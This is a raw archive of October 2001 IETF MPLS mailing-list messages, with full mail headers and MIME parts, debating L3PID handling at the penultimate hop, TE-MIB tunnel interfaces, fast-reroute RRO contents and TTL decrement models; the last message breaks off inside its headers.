with regards,
Rajeev



>From: "Feng, Mark" <m_feng@trillium.com>
>To: "'Kireeti Kompella'" <kireeti@juniper.net>,        "Feng, 
>Mark"<m_feng@trillium.com>, mpls@UU.NET
>Subject: RE: Use of L3PID
>Date: Wed, 10 Oct 2001 17:58:49 -0700
>
>You are right. The check should be there at the penultimate hop.
>
>- Mark
>
> > -----Original Message-----
> > From: Kireeti Kompella [mailto:kireeti@juniper.net]
> > Sent: Wednesday, October 10, 2001 5:49 PM
> > To: m_feng@trillium.com; mpls@uu.net
> > Subject: RE: Use of L3PID
> >
> >
> > > > If the label stack is empty after
> > > > popping, what L2 encapsulation do you put on the data packet?
> >
> > > Following is from RFC 3031
> >
> > Doesn't answer the question.  All you have done is point out that
> > the RFC is incomplete in its description.
> >
> > >    The penultimate node then pops the stack, and forwards the packet
> > >    based on the information gained by looking up the label that was
> > >    previously at the top of the stack.
> >
> > If the label that was previously at the top of the stack has the end
> > of stack bit set, the L3PID (or some other magic) determines what
> > the layer 2 encap on the outgoing packet should be.  Otherwise, the
> > outgoing packet is sent as an MPLS packet.
> >
> > If you do it differently, I'd be interested in your algorithm.
> >
> > Kireeti.
> >


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



From owner-mpls@UU.NET  Thu Oct 11 00:29:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27773
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 00:29:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkfp10030;
	Thu, 11 Oct 2001 04:29:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkfp17904
	for mpls-outgoing; Thu, 11 Oct 2001 04:29:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkfp17897
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 04:29:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkfp04711
	for <mpls@UU.NET>; Thu, 11 Oct 2001 04:28:59 GMT
Received: from multitech.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQlkfp20856
	for <mpls@UU.NET>; Thu, 11 Oct 2001 04:28:50 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9B4TZc19911;
	Thu, 11 Oct 2001 09:59:37 +0530
Message-ID: <000b01c1520e$134b3440$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Kiril Shulga" <kiril@galileo.co.il>
Cc: <mpls@UU.NET>
References: <3BC3FB9B.8F20B006@galileo.co.il> <001f01c15167$f00dc480$dff2fea9@abhay> <3BC40F4A.FB5C224A@galileo.co.il>
Subject: Re: MPLS Tunnel interface
Date: Thu, 11 Oct 2001 10:04:52 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Kiril,
       Actually when you create a tunnel as an interface the tunnel id for
the tunnel is the unique combination of source
       address and the interface index provided by the Interfaces MIB(assume
a module).
       Tunnels which are not interfaces have a different way of assigning
the tunnel id which means that when u have a
        tunnel which is not an interface you have a definite outgoing
interface over which u have the connection identifier
        assigned.
        In this case before you transmit the data packet there is a check
which verifies if there is a established tunnel for a
        particular destination by using a lookup table(say at the ingress)
and the packet is put on that outgoing interface attached         to the
tunnel.
        Yes,the contents of the FEC to NHLFE and LSR MIB greatly help in
this mechanism.
         Hope this interpretation helps.
         Regards,
         Abhay.
----- Original Message -----
From: Kiril Shulga <kiril@galileo.co.il>
To: abhay <abhay@multitech.co.in>
Cc: <mpls@UU.NET>
Sent: Wednesday, October 10, 2001 2:35 PM
Subject: Re: MPLS Tunnel interface


> Hi Abhay,
>
> The questions are below:
>
> abhay wrote:
>
> > Kiril,
> >         You create tunnels which are not interfaces if you are going to
have
> > a router management running with
> >          various IGP's running and they can attach the tunnel for a
> > destination at runtime based on decision.
>
> Attaching tunnel means defining ifIndex for it? That is non-interface
tunnel
> turns to tunnel which is interface?
>
> >          Tunnels which are interfaces have an extra registration with
the
> > Interfaces MIB.Which implies that they can
> >          be used in routing calculations,where the tunnel is the next
hop.
> >          Hope this helps
> >          Regards,
> >          Abhay
> > ----- Original Message -----
> > From: Kiril Shulga <kiril@galileo.co.il>
> > To: <mpls@UU.NET>
> > Sent: Wednesday, October 10, 2001 1:11 PM
> > Subject: MPLS Tunnel interface
> >
> > > Hi!
> > > I've few questions related to MPLS TE-MIB:
> > >
> > > In which purpose it's created tunnel that isn't interface
> > > (mplsTunnelIsIf = FALSE)?
> > > How redirect traffic to such tunnel?
> > >
> > > Thanks in advance,
> > > Kiril
> > >
>
> Regards,
> Kiril
>



From owner-mpls@UU.NET  Thu Oct 11 00:55:06 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27859
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 00:55:05 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkfr03269;
	Thu, 11 Oct 2001 04:54:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkfr19855
	for mpls-outgoing; Thu, 11 Oct 2001 04:54:30 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkfr19844
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 04:54:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkfr07647
	for <mpls@UU.NET>; Thu, 11 Oct 2001 04:53:40 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlkfr20290
	for <mpls@UU.NET>; Thu, 11 Oct 2001 04:53:54 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9B4rU924408;
	Thu, 11 Oct 2001 06:53:30 +0200 (MET DST)
To: "Hariom P" <hmp123@hotmail.com>
Cc: m_feng@trillium.com, kireeti@juniper.net, mpls@UU.NET
Subject: RE: Use of L3PID
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF5B206392.6649517A-ONC1256AE2.001A836E@net.alcatel.be>
Date: Thu, 11 Oct 2001 06:53:29 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/11/2001 06:53:30,
	Serialize complete at 10/11/2001 06:53:30
MIME-Version: 1.0
Content-Type: multipart/related; boundary="=_related 001ADC13C1256AE2_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_related 001ADC13C1256AE2_=
Content-Type: multipart/alternative; boundary="=_alternative 001ADC13C1256AE2_="


--=_alternative 001ADC13C1256AE2_=
Content-Type: text/plain; charset="us-ascii"

Hariom,

> 1. Every hop will store the L3PID received in the path msg.

Correct.


> 2. Penultimate hop if asked by the egress-hop to do PHP will POP the 
label
> and use the L3PID as the encap type only if POPed label happens to be 
the
> last label in the stack.

Correct.


> 3. Only Egress hop has to make sure it supports the protocol indicated 
in
> the L3PID, else send pathErr msg. That is because it has to do POP and
> ROUTE.

The egress definitely needs to support the protocol in the L3PID. However, 
the penultimate node also may have to understand the protocol of the L3 
PID to some extent. Example: If IP is carried in an LSP, RFC 3031 
indicates that the TTL has to be copied from the mpls header to the IP 
header. Therefore, the penultimate node needs to understand the position 
of the TTL in the IP header. 

Best regards,

        Francis.

-------------------------------






To:
m_feng@trillium.com, kireeti@juniper.net, mpls@UU.NET
cc:
(bcc: Francis ARTS/BE/ALCATEL)


Subject:
RE: Use of L3PID



I am a little confused here. Please correct me if my understanding from 
this
thread is incorrect..

1. Every hop will store the L3PID received in the path msg.

2. Penultimate hop if asked by the egress-hop to do PHP will POP the label
and use the L3PID as the encap type only if POPed label happens to be the
last label in the stack.

3. Only Egress hop has to make sure it supports the protocol indicated in
the L3PID, else send pathErr msg. That is because it has to do POP and
ROUTE.

with regards,
Rajeev



>From: "Feng, Mark" <m_feng@trillium.com>
>To: "'Kireeti Kompella'" <kireeti@juniper.net>,        "Feng,
>Mark"<m_feng@trillium.com>, mpls@UU.NET
>Subject: RE: Use of L3PID
>Date: Wed, 10 Oct 2001 17:58:49 -0700
>
>You are right. The check should be there at the penultimate hop.
>
>- Mark
>
> > -----Original Message-----
> > From: Kireeti Kompella [mailto:kireeti@juniper.net]
> > Sent: Wednesday, October 10, 2001 5:49 PM
> > To: m_feng@trillium.com; mpls@uu.net
> > Subject: RE: Use of L3PID
> >
> >
> > > > If the label stack is empty after
> > > > popping, what L2 encapsulation do you put on the data packet?
> >
> > > Following is from RFC 3031
> >
> > Doesn't answer the question.  All you have done is point out that
> > the RFC is incomplete in its description.
> >
> > >    The penultimate node then pops the stack, and forwards the packet
> > >    based on the information gained by looking up the label that was
> > >    previously at the top of the stack.
> >
> > If the label that was previously at the top of the stack has the end
> > of stack bit set, the L3PID (or some other magic) determines what
> > the layer 2 encap on the outgoing packet should be.  Otherwise, the
> > outgoing packet is sent as an MPLS packet.
> >
> > If you do it differently, I'd be interested in your algorithm.
> >
> > Kireeti.
> >


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



--=_alternative 001ADC13C1256AE2_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hariom,</font>
<br>
<br><font size=1><tt>&gt; 1. Every hop will store the L3PID received in the path msg.<br>
</tt></font>
<br><font size=1><tt>Correct.</tt></font>
<br>
<br>
<br><font size=1><tt>&gt; 2. Penultimate hop if asked by the egress-hop to do PHP will POP the label<br>
&gt; and use the L3PID as the encap type only if POPed label happens to be the<br>
&gt; last label in the stack.<br>
</tt></font>
<br><font size=1><tt>Correct.</tt></font>
<br>
<br>
<br><font size=1><tt>&gt; 3. Only Egress hop has to make sure it supports the protocol indicated in<br>
&gt; the L3PID, else send pathErr msg. That is because it has to do POP and<br>
&gt; ROUTE.</tt></font>
<br>
<br><font size=2 face="sans-serif">The egress definitely needs to support the protocol in the L3PID. However, the penultimate node also may have to understand the protocol of the L3 PID to some extent. Example: If IP is carried in an LSP, RFC 3031 indicates that the TTL has to be copied from the mpls header to the IP header. Therefore, the penultimate node needs to understand the position of the TTL in the IP header. </font>
<br>
<br><font size=2 face="sans-serif">Best regards,</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
<br>
<br><font size=2 face="sans-serif">-------------------------------</font>
<br>
<br>
<br>
<br>
<table>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">To:</font>
<td><font size=1 face="sans-serif">m_feng@trillium.com, kireeti@juniper.net, mpls@UU.NET</font>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">cc:</font>
<td><font size=1 face="sans-serif">(bcc: Francis ARTS/BE/ALCATEL)</font>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">Subject:</font>
<td><font size=1 face="sans-serif">RE: Use of L3PID</font></table>
<br>
<br>
<br><img src=cid:_1_3B940000262C001ADC13C1256AE2>
<br><font size=1><tt>I am a little confused here. Please correct me if my understanding from this<br>
thread is incorrect..<br>
</tt></font>
<br><font size=1><tt>1. Every hop will store the L3PID received in the path msg.<br>
</tt></font>
<br><font size=1><tt>2. Penultimate hop if asked by the egress-hop to do PHP will POP the label<br>
and use the L3PID as the encap type only if POPed label happens to be the<br>
last label in the stack.<br>
</tt></font>
<br><font size=1><tt>3. Only Egress hop has to make sure it supports the protocol indicated in<br>
the L3PID, else send pathErr msg. That is because it has to do POP and<br>
ROUTE.<br>
</tt></font>
<br><font size=1><tt>with regards,<br>
Rajeev<br>
</tt></font>
<br>
<br>
<br><font size=1><tt>&gt;From: &quot;Feng, Mark&quot; &lt;m_feng@trillium.com&gt;<br>
&gt;To: &quot;'Kireeti Kompella'&quot; &lt;kireeti@juniper.net&gt;, &nbsp; &nbsp; &nbsp; &nbsp;&quot;Feng,<br>
&gt;Mark&quot;&lt;m_feng@trillium.com&gt;, mpls@UU.NET<br>
&gt;Subject: RE: Use of L3PID<br>
&gt;Date: Wed, 10 Oct 2001 17:58:49 -0700<br>
&gt;<br>
&gt;You are right. The check should be there at the penultimate hop.<br>
&gt;<br>
&gt;- Mark<br>
&gt;<br>
&gt; &gt; -----Original Message-----<br>
&gt; &gt; From: Kireeti Kompella [mailto:kireeti@juniper.net]<br>
&gt; &gt; Sent: Wednesday, October 10, 2001 5:49 PM<br>
&gt; &gt; To: m_feng@trillium.com; mpls@uu.net<br>
&gt; &gt; Subject: RE: Use of L3PID<br>
&gt; &gt;<br>
&gt; &gt;<br>
&gt; &gt; &gt; &gt; If the label stack is empty after<br>
&gt; &gt; &gt; &gt; popping, what L2 encapsulation do you put on the data packet?<br>
&gt; &gt;<br>
&gt; &gt; &gt; Following is from RFC 3031<br>
&gt; &gt;<br>
&gt; &gt; Doesn't answer the question. &nbsp;All you have done is point out that<br>
&gt; &gt; the RFC is incomplete in its description.<br>
&gt; &gt;<br>
&gt; &gt; &gt; &nbsp; &nbsp;The penultimate node then pops the stack, and forwards the packet<br>
&gt; &gt; &gt; &nbsp; &nbsp;based on the information gained by looking up the label that was<br>
&gt; &gt; &gt; &nbsp; &nbsp;previously at the top of the stack.<br>
&gt; &gt;<br>
&gt; &gt; If the label that was previously at the top of the stack has the end<br>
&gt; &gt; of stack bit set, the L3PID (or some other magic) determines what<br>
&gt; &gt; the layer 2 encap on the outgoing packet should be. &nbsp;Otherwise, the<br>
&gt; &gt; outgoing packet is sent as an MPLS packet.<br>
&gt; &gt;<br>
&gt; &gt; If you do it differently, I'd be interested in your algorithm.<br>
&gt; &gt;<br>
&gt; &gt; Kireeti.<br>
&gt; &gt;<br>
</tt></font>
<br>
<br><font size=1><tt>_________________________________________________________________<br>
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp</tt></font>
<br>
<br>
<br>
--=_alternative 001ADC13C1256AE2_=--
--=_related 001ADC13C1256AE2_=
Content-Type: image/gif
Content-ID: <_1_3B940000262C001ADC13C1256AE2>
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

R0lGODlhOQIEAIAAAAAAAAAAACwAAAAAOQIEAEAC8U6Oqct9AYL/+vfu7AUTAOgBLhnKeS/2X8jS
peyGdGqXIAzHATHEcy+r2YJF2RfVUCSTk8ols+kAYCFWCMOYKJjcrvfLlDq7Y0jokv2TAIJBKNTU
lM/pEQAjeHvil7kHPfECQFWgB8BHpsFBNyEDcEFgGElhePiPOLboYfYwIb4UBFCeVhL8diT3Vgfn
59fBMpYZgtb5P/QGlwfyZrbLRgYS01Y25+I2Z2YZq2HlwbAw4eYREJLnIQ2AXbndvApgvhBZSRC+
HTJbbm6IoF5JkW5eYRDCDFD//5rhwRKAcJA/IB8CY/8C4Cv2bwC+fwCMDQAAOw==
--=_related 001ADC13C1256AE2_=--


From owner-mpls@UU.NET  Thu Oct 11 01:00:18 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27908
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 01:00:18 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkfr03905;
	Thu, 11 Oct 2001 04:59:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkfr20160
	for mpls-outgoing; Thu, 11 Oct 2001 04:59:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkfr20154
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 04:58:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkfr08633
	for <mpls@uu.net>; Thu, 11 Oct 2001 04:58:04 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlkfr27756
	for <mpls@uu.net>; Thu, 11 Oct 2001 04:58:18 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9B4w2M24636
	for <mpls@uu.net>; Thu, 11 Oct 2001 06:58:02 +0200 (MET DST)
To: mpls@UU.NET
Subject: draft-gan-fast-reroute
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF6566095C.9AC73AF4-ONC1256AE1.0072BC61@net.alcatel.be>
Date: Thu, 11 Oct 2001 06:58:01 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/11/2001 06:58:02,
	Serialize complete at 10/11/2001 06:58:02
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 001B46A3C1256AE2_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_alternative 001B46A3C1256AE2_=
Content-Type: text/plain; charset="us-ascii"

Hello,

I have a question on the RRO handling in <draft-gan-fast-reroute>.
 
       Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
                      v                       ^ 
                      |                       | 
                      +-----------------------+ 

Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].

Assume that the link between node 2 and node 3 fails. Then the detour 
[node 2 - node 4] is taking over. But what does node 2 then send in the 
RRO object of the RESV message to node 1: Does node 2 continue to send 
[@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1), @(detour between 4-2), @(egress-4)] or ...?

Thanks for any help you can provide,

        Francis.
--=_alternative 001B46A3C1256AE2_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hello,</font>
<br>
<br><font size=2 face="sans-serif">I have a question on the RRO handling in &lt;draft-gan-fast-reroute&gt;.</font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; Egress</font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +-----------------------+ &nbsp; </font>
<br>
<br><font size=2 face="MS Mincho">Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].</font>
<br>
<br><font size=2 face="MS Mincho">Assume that the link between node 2 and node 3 fails. Then the detour [node 2 - node 4] is taking over. But what does node 2 then send in the RRO object of the RESV message to node 1: Does node 2 continue to send [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1), @(detour between 4-2), @(egress-4)] or ...?</font>
<br>
<br><font size=2 face="sans-serif">Thanks for any help you can provide,</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
--=_alternative 001B46A3C1256AE2_=--


From owner-mpls@UU.NET  Thu Oct 11 04:21:42 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA13488
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 04:21:42 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkgf14707;
	Thu, 11 Oct 2001 08:21:03 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkgf21933
	for mpls-outgoing; Thu, 11 Oct 2001 08:20:56 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkgf21928
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 08:20:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkgf17555
	for <mpls@UU.NET>; Thu, 11 Oct 2001 08:20:43 GMT
From: neil.2.harrison@bt.com
Received: from cbibipnt08.hc.bt.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: saturn.bt.com [193.113.57.20])
	id QQlkgf24086
	for <mpls@UU.NET>; Thu, 11 Oct 2001 08:20:57 GMT
Received: by cbibipnt08.hc.bt.com with Internet Mail Service (5.5.2654.89)
	id <4BXZ1Y59>; Thu, 11 Oct 2001 09:20:54 +0100
Message-ID: <B9571FDEBD3DD21181E500606DD5EE050E891883@mbddmknt01.hc.bt.com>
To: Shahram_Davari@pmc-sierra.com, eric.gray@sandburst.com
Cc: puneet@pluris.com, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Thu, 11 Oct 2001 09:20:28 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2654.89)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Shaham,

As I am sure you know having spoken with me on this several times, the only
architectural model that makes any sense when dealing with layer networks
(any technology) is that 'a client layer link connection (ie a single hop
between nodes at layer N say) is provided by a server layer trail connection
at layer N+1'.  The key observation is that the number of hops (=link
connections) that constitute the server layer trail can be arbitrary.  And
note carefully that *each* of the link connections of the trail at layer N+1
can in turn be composed of further lower (server) layer trail connections at
layer N+2.  This relationship recurses to the duct network.

It makes no sense to try and predict/guess the number of server layer link
connections at all levels below the layer of interest because:
-	they are not necessarily known (ie the recursion issue);
-	they may be owned by some other party providing a transit service
(which you note below);
-	the number of *link connections* that compose a sever layer trail
(at *any* level below that of interest) could very easily change due to
protection-switching....and one would not want (or necessarily be able) to
review some 'guessed' TTL decrement at a higher layer level.

So the only architectural view that makes any sense is where the TTL is
treated independently at each layer network.

Option B below makes no sense.....it requires (in the example you gave) a
different party to know the number of link connections in someone else's
network (and also know when this changes, say due to prot-sw).

So only option A is therefore viable (and I note you prefer this
anyway)....however, it still requires the predicting of TTL decrement,
though now it is under the control of the same party.  To cater for the case
of prot-sw say where the number of link connections may change (say between
E and H), I guess one could set a fixed decrement that was not necessarily
related to the exact number of link connections.  However, I'm not at all
sure this gives any *real* benefits, since the efficacy of TTL is only
realised when it is indeed decremented on a link connection basis.

regards, Neil

> -----Original Message-----
> From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> Sent: 10 October 2001 21:30
> To: 'Eric Gray'
> Cc: 'Puneet Agarwal'; mpls@UU.NET
> Subject: RE: New revision of the MPLS ttl draft
> 
> 
> Hi Eric,
> 
> Because the TTL of the inner LSP belongs to the customer. And 
> the customer has a policy of let's say subtracting a value of 
> "n" from TTL. Now if the customer does not have control over 
> the TTL subtraction, even in a single node, the TTL may get 
> expired earlier or later than he expects. Let me give you an example:
> 
>                        
>  A-------B-----C-----D-----E------F-----G-----H
>  --------> LSP1----->
>  -------------------->LSP2------------------->
>      TTL = N
> 
> Assume 
> 1) LSP2 is the inner LSP
> 2) A, B, C, H and the ingress port of D are POS.
> 3) The egress port of D is LC-ATM
> 4) E, F are ATM LSRs
> 5) The ingress port of G is LC-ATM
> 6) The egress port of G is POS.
> 7) A,B,C,D belong to provider X
> 8) E,F,G,H belong to provider Y
> 9) TTL=N for LSP2 between A and D
> 
> In theory the TTL received by H must be N-4. However, since 
> E, F and ingress of G are ATM, they can't subtract the TTL. 
> 
> There are two solutions:
> 
> A) Let's D do nothing and the customer Y subtract a value of 
> 4 at the egress port of G, when the packet is sent to H.
> B)Let D subtract a value of 3 before sending it to E, and G 
> subtract TTL by 1.
> 
> It seems that for Pipe model, the current draft prefers the 
> second solution,while I prefer the first one. The reason is 
> that by choosing option B, you need to store the value to be 
> subtracted from TTL for each individual customer, while in 
> method A, it is up to customer to subtract whatever value he wants.
> 
> My argument is that the Short pipe model should fulfill 
> method B, and Pipe model should fulfill method A.
> 
> 
> Yours,
> -Shahram
><snipped to end NH>


From owner-mpls@UU.NET  Thu Oct 11 09:19:10 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15822
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 09:19:10 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkgz00966;
	Thu, 11 Oct 2001 13:16:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkgz20067
	for mpls-outgoing; Thu, 11 Oct 2001 13:16:28 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkgz20056
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 13:16:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkgz24321
	for <mpls@uu.net>; Thu, 11 Oct 2001 13:16:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkgz24719
	for <mpls@uu.net>; Thu, 11 Oct 2001 13:16:16 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA13970 for <mpls@uu.net>; Thu, 11 Oct 2001 09:16:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA07176 for mpls@uu.net; Thu, 11 Oct 2001 09:16:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkgz19948
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 13:15:22 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkgy18870
	for <mpls@UU.NET>; Thu, 11 Oct 2001 13:13:51 GMT
Received: from father.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: father.pmc-sierra.bc.ca [216.241.224.13])
	id QQlkgy06911
	for <mpls@UU.NET>; Thu, 11 Oct 2001 13:14:05 GMT
Received: (qmail 6746 invoked by uid 104); 11 Oct 2001 13:13:50 -0000
Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-1.00 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.55199 secs); 11 Oct 2001 13:13:50 -0000
Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120)
  by father.pmc-sierra.bc.ca with SMTP; 11 Oct 2001 13:13:49 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
